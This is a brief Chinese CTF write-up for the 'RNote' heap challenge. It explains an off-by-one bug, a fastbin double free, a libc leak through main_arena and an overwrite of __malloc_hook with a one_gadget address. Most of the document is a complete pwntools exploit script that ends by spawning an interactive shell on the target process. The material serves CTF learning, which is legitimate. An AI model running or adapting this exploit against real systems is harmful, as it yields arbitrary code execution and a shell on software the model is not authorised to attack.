这个题 emmm 利用 off by one 然后就是double free 然后 写到 malloc_hook 就ok
不过这个题 我一开始出了一个问题 在 malloc_hook 里面我只是找到了 7f
然后我用了 0x30的堆块 然后不行 malloc的直接在堆块了 没有到我们想要的地方 只能又重新规划 然后 one_gadget 一把梭就好了
存在 off by one 的地方
基本的泄露基址的方法 很入门的一道题
#!/usr/bin/env python2
from pwn import *
context.log_level = 0
io=process("./RNote")
libc=ELF("./libc-2.23.so")
def add(size,title,content):
io.sendline("1")
io.recvuntil("Please input the note size: ")
io.sendline(str(size))
io.recvuntil("Please input the title: ")
io.send(title)
io.recvuntil("Please input the content: ")
io.send(content)
def dele(index):
io.sendline("2")
io.recvuntil("Which Note do you want to delete: ")
io.sendline(str(index))
def show(index):
io.sendline("3")
io.recvuntil("Which Note do you want to show: ")
io.sendline(str(index))
if __name__ =="__main__":
add(0x20,'a'*0xf+'\n','a'*0x20)#0
add(0x20,'b'*0xf+'\n','b'*0x20)#1
add(0x20,'c'*0xf+'\n','c'*0x20)#2
add(0x80,'d'*0xf+'\n','d'*0x20)#3
add(0x60,'A'*0xf+'\n','e'*0x20)#4 30
dele(3)
add(0x80,'d'*0xf+'\n','\n')#3
show(3)
io.recvuntil("note content: ")
main_arena=u64(io.recv()[8:14].ljust(8,'\x00'))-88
libc_base_addr=main_arena-0x3C4B20
print hex(libc_base_addr)
system_addr=libc_base_addr+libc.sym['system']
add(0x20,'D'*16+'\x30\n','e'*0x20)#5
add(0x60,'A'*0xf+'\n','e'*0x20)#6
add(0x60,'A'*0xf+'\n','e'*0x20)#7
dele(4)
dele(7)
dele(5)
# dele(6)#double free
# #gdb.attach(io)
fake_chunk_addr=main_arena-0x33
sh_bin=libc.search("/bin/sh").next()+libc_base_addr
print "fake_chunk_addr",hex(fake_chunk_addr)
one = libc_base_addr + 0xf1147
payload=0x13 * 'a' + p64(one)
add(0x60,'e'*0xf+'\n',p64(fake_chunk_addr))
# #gdb.attach(io)
add(0x60,'s'*0xf+'\n','s'*0x20)
add(0x60,'s'*0xf+'\n','s'*0x20)
#gdb.attach(io,'b *0x7ffff7a52390')
# #gdb.attach(io)
add(0x60,'F'*0xf+'\n',payload)
# #gdb.attach(io)
io.recv()
io.sendline('1')
io.recv()
io.sendline('10')
io.interactive()